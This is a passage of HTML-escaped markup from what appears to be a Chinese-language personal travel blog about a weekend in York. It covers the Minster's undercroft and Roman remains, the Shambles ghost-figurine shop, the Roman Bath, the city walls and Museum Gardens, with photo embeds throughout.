        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111958518.19be4e08732849cd.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111958518.ca5ceca5ebd7257f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111958518.334554f23327231e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_111958518.ca5ceca5ebd7257f.webp&quot;
	alt=&quot;Crypt复原图&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我很喜欢这些菠萝似的粗柱子——教堂说它们最初是涂着亮色的，也许和诺曼时期的外壁一样，是白底红线？讲解员告诉我这个空间是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1829&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的大火之后发现并修复的，并且向我展示了复原图。不知为何，我觉得它很像&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#2022-06-17&quot;&gt;下水道&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;另一处地下空间位于教堂中心的塔下面（其实两个空间是连通的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。那里有加固塔楼地基的设施和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Basilica&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的遗迹。那些双排固定桩看起来仿佛在封印什么，真的很酷炫。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_120821163.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_120821163.fb4a715acbca2f29.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_120821163.a0f256fc568609d5.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_120821163.e31689bb97f99b7b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_120821163.a0f256fc568609d5.webp&quot;
	alt=&quot;Basilica的残垣断壁&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_115332762.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115332762.d254490fa5cbd77f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115332762.d31ec3971d682330.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115332762.3e9b51e910c15c6f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115332762.d31ec3971d682330.webp&quot;
	alt=&quot;罗马壁画残片&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;有趣的是考古学家在那里发现了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.merriam-webster.com&#x2F;dictionary&#x2F;Chi-Rho&quot;&gt;刻有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;XP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的陶片，他们觉得这是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ΧΡΙΣΤΌΣ（基督）&lt;&#x2F;a&gt;。不过，并没有证据表明这座&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Basilica&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进行过基督崇拜。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_115540023.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115540023.27f588f4aa809b0f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115540023.10c1b713f20dd110.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115540023.96406a0c6fc224ec.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_115540023.10c1b713f20dd110.webp&quot;
	alt=&quot;Chi-Rho拓本&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;教堂的塔&quot;&gt;教堂的塔&lt;&#x2F;h3&gt;
&lt;p&gt;我们结束参观时大概是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点，我有意在教堂里看一小时书等到下一批爬塔的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13:15。可我实在太饿了，不吃饭熬一小时估计得在这里下葬了。所以就没爬塔，后来在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clifford’s
Tower&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;俯瞰了全城，就更懒得爬教堂的塔了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Shambles&quot;&gt;Shambles&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Shambles_Market&quot;&gt;Shambles Market&lt;&#x2F;h3&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_123107671.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_123107671.f8ca409485a91c74.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_123107671.3c541bdb127c4c02.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_123107671.99db652707cf0087.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_123107671.3c541bdb127c4c02.webp&quot;
	alt=&quot;卖农产品的摊位&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;旅伴从小红书上找了一家位于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shambles
Market&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的泰国街头食品。结果那里有两家泰国菜，而我们最先碰到并且直接下单的不是小红书上提到的那家。她好后悔，所以我们在第二家单独点了小红书推荐的菜。在我们吃完后她又开始抱怨没发现对面有一家也是小红书提到的摊位、以及没肚子吃另一家小红书推荐的可丽饼。对于这顿饭我倒很满意：便宜量大水平及格。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;The_York_Ghost_Merchants&quot;&gt;The York Ghost Merchants&lt;&#x2F;h3&gt;
&lt;p&gt;我之所以想去约克是因为在同学家里看到了可爱的幽灵模型——我也想买一个。卖幽灵的店就在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shambles，所以吃完饭后我们去了位于另一条街的队尾开始排队。我从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13:20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15:03&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;花了一小时四十三分钟排队，然后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15:16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就挑完出来了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_150457734.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_150457734.632f72898f0ae2aa.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_150457734.1b3076d855044209.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_150457734.4640af672fb15efb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_150457734.1b3076d855044209.webp&quot;
	alt=&quot;摆满幽灵的货架&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这家店的幽灵号称每个都独一无二、手工制作，搞得很高级似的。但其实拿一个在手里就会发现这种涂装很好制作：把几种油性颜料倒在水面上，搅拌一下（想象一下奥特曼的片头&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，再把模型过一遍颜料水拿出来，就可以得到缤纷且独特的图案&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;我是从《&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1ZG4y1Y7Cc&quot;&gt;网络热传生物鉴定&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;42&lt;&#x2F;a&gt;》的开头得知这种印花方法的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;材质的话，店员的标准回答是“water
based British
material&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，除此之外他也不懂，只说我可以认为它是“Made
of
Stone&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。我乐了，其实给我看幽灵纪念品的朋友就是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#Bonus_Track%EF%BC%9A%E4%BB%8A%E5%B9%B4%E7%9A%84%E8%8B%B9%E6%9E%9C%E9%9F%B3%E4%B9%90%E7%BB%9F%E8%AE%A1&quot;&gt;给我放《Made
of
Stone》的朋友&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;经过来回的对比，无数的决定，我挑了一个只有一半涂装的幽灵：上半身是黑墨水画出的海洋，下半身则是橙色的长裙。我朋友的那只则浑身上下旋转着白、蓝、绿色的闪电纹路。他是去年五月买的，如今摄影棚的地面都被磨没了。可见这幽灵有多畅销。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_151236097.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_151236097.fbe144e6c704bce8.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_151236097.5bb9fd9413a2ba58.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_151236097.71089d6519784686.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_151236097.5bb9fd9413a2ba58.webp&quot;
	alt=&quot;我的幽灵&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1677953038678.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;mmexport1677953038678.jpg&quot;
	alt=&quot;他的幽灵&quot;
	height=&quot;1706&quot;
	width=&quot;1278&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;为什么这么畅销？除去故意把店面做小搞饥饿营销、禁止给别人代购这种耍猴手段，最重要的是：它在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TikTok&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上火了（排我后面穿一身黑，已经买了好几次的短发英国女生说的——她还在另一条街的砖缝里发现一个米粒大小的幽灵模型，店员说可以带走&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。完了，我不会也掉进潮玩坑了吧。不过约克本就以幽灵出名，所以……这大概不能算潮玩吧。总之我不是会承认的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;The_Roman_Bath&quot;&gt;The Roman Bath&lt;&#x2F;h2&gt;
&lt;p&gt;我是在参观过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#The_Southern_Baths_complex&quot;&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Southern Baths
complex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;废墟&lt;&#x2F;a&gt;后突然对罗马浴场遗迹感兴趣的。在出发前一天的一对一会议里经理告诉了我约克有家建在浴场遗址上的酒吧，那我必去啊。鉴于罗马浴场四点就关门，我们出了幽灵店就赶紧赶了过去。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_153859679.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_153859679.a6f544e814fb5f3b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_153859679.31e8898f1533411b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_153859679.5fdd920a8645af14.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_153859679.31e8898f1533411b.webp&quot;
	alt=&quot;Hypocaust&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;类似教堂，想要参观得从约克如今的地面上向下走大概四米左右。我很奇怪为什么约克城会上升这么多。难道是因为全球变暖？可地面又不是海面啊。&lt;&#x2F;p&gt;
&lt;p&gt;遗址里保存最好的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Caldarium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下面的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hypocaust。Frigidarium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tepidarium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也在，但只剩下砖了，实在没得看。有趣的是我在这里得知&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Caldarium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;并不是泡澡的浴池，而是桑拿房（在庞贝发现了完整的，没法泡澡的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Caldarium&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。在这桑拿房里不止可以蒸桑拿，还有奴隶给你剃毛。罗马人真会过日子啊。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;City_wall&quot;&gt;City wall&lt;&#x2F;h2&gt;
&lt;p&gt;接下来我们想坐船游览&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;River
Ouse，但是在桥上看到了船在哪，却没找到通向它们的路。找路时走到了号称“两千年浓缩在两英里”的城墙，我便索性开始顺着城墙环绕约克城了。&lt;&#x2F;p&gt;
&lt;p&gt;约克的城墙很窄，而且只有外侧有墙，内侧也只有和马路邻接时才有铁栏（下图是转弯才有的大平台&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。好像说是重修的时候给修窄了，要是以前打仗时也这么险，那士兵得遭殃了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_163634786.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163634786.836a62e7e87ce5d5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163634786.4072cfcf7ca1255b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163634786.8b0515122eca2c06.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163634786.4072cfcf7ca1255b.webp&quot;
	alt=&quot;城墙&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_111645637.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_111645637.cde072f664e645d9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_111645637.8d1c3261918abb55.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_111645637.47b43969e8b016ad.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_111645637.8d1c3261918abb55.webp&quot;
	alt=&quot;刻在地砖上的棋盘&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;约克当局在靠近地标的石板上刻上了地标的名字，拍照收集它们挺有趣的。另外，我第二天重走城墙时甚至发现了刻在地里的棋盘。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;我们顺着城墙逆时针走，路过了曾经的城堡遗址（Old
Baile，现在是个土包&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，走到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Clifford%E2%80%99s_Tower&quot;&gt;Clifford’s
Tower&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;附近。但那个塔早关门了，所以我们拍了外景就去小红书推荐的中餐馆吃饭了。因为那家店的米饭太硬，我的喉咙练成了铁布衫。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_163710763.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163710763.4c5f1ae208e00b33.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163710763.c9aea3a9a0f25479.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163710763.eb701e918f64852f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_163710763.c9aea3a9a0f25479.webp&quot;
	alt=&quot;Baile Hill和Clifford’s Tower的刻印&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;第一天结束&quot;&gt;第一天结束&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;周六大部分景点四点就关门了，我们花了几个小时走城墙、拍照、吃饭，等回到旅馆时才七点（或是八点&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。其实外面还有酒吧没关门，但我和她谁也不喝酒，所以就没去。因为没带笔记本打字不方便，我也不想整理游记，所以九点就上床了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_183335816.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_183335816.bcadb2cfbe204f4a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_183335816.90a6460b6169115d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_183335816.2fdf72acbb8e0ead.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_183335816.90a6460b6169115d.webp&quot;
	alt=&quot;夜晚的Petergate&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我是第一次住阁楼，觉得斜着的窗户很有趣。关灯躺在床上看着那扇窗漏进来的星光（也许是灯光，因为实在太早了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，突然想起了一位无话不说的高中好友也住过阁楼。那年她给我发过窗户的照片后，我就开始想象躺在床上看星星的场景。只可惜我住的阁楼没把窗户放到床那边，所以我只能对着它发呆，脑子里响着《O
Green
World》拐了好几个弯的“啊—&lt;span class=&quot;halt&quot;&gt;—&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;去吃早饭&quot;&gt;去吃早饭&lt;&#x2F;h2&gt;
&lt;p&gt;根据记录，我从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;21:42&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一直睡到第二天&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;07:00，睡眠时间达到了惊人的八小时零一分钟。旅伴醒来后在床上请示了小红书的意思，然后我们向一家叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Partisan&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的餐厅进发。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Museum_Gardens&quot;&gt;Museum Gardens&lt;&#x2F;h3&gt;
&lt;p&gt;大概是九点整我们走到了博物馆旁边，那时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;York
Minster&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开始奏乐。听音乐时看到一个骑自行车的老奶奶来附近的花园喂松鼠，她说她觉得那音乐很吵——不过以游客的视角来看，我还挺喜欢的。只是那音乐持续了二十分钟，真累啊。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_091047393.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091047393.f1ed7d1ce8c90634.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091047393.dda3010537e0ca05.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091047393.e4819e1cc4ca2bcd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091047393.dda3010537e0ca05.webp&quot;
	alt=&quot;老奶奶喂松鼠&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Museum Gardens&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有三个建筑的遗址：St.
Leonard’s
Hospital（1540&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年弃用的医院，如今只剩走廊了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;、Multangular
Tower（罗马城墙角落的塔，上面的部分是中世纪新增的）和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;St.
Mary’s
Abbey。我火速照了前两者就接着朝&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Partisan&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;走了，因为下午会再回这里参观博物馆。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_091605668.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091605668.72a8cfdea1ff9aae.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091605668.5a8cc875162016a0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091605668.de9679043eee5c79.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_091605668.5a8cc875162016a0.webp&quot;
	alt=&quot;Multangular Tower内部&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


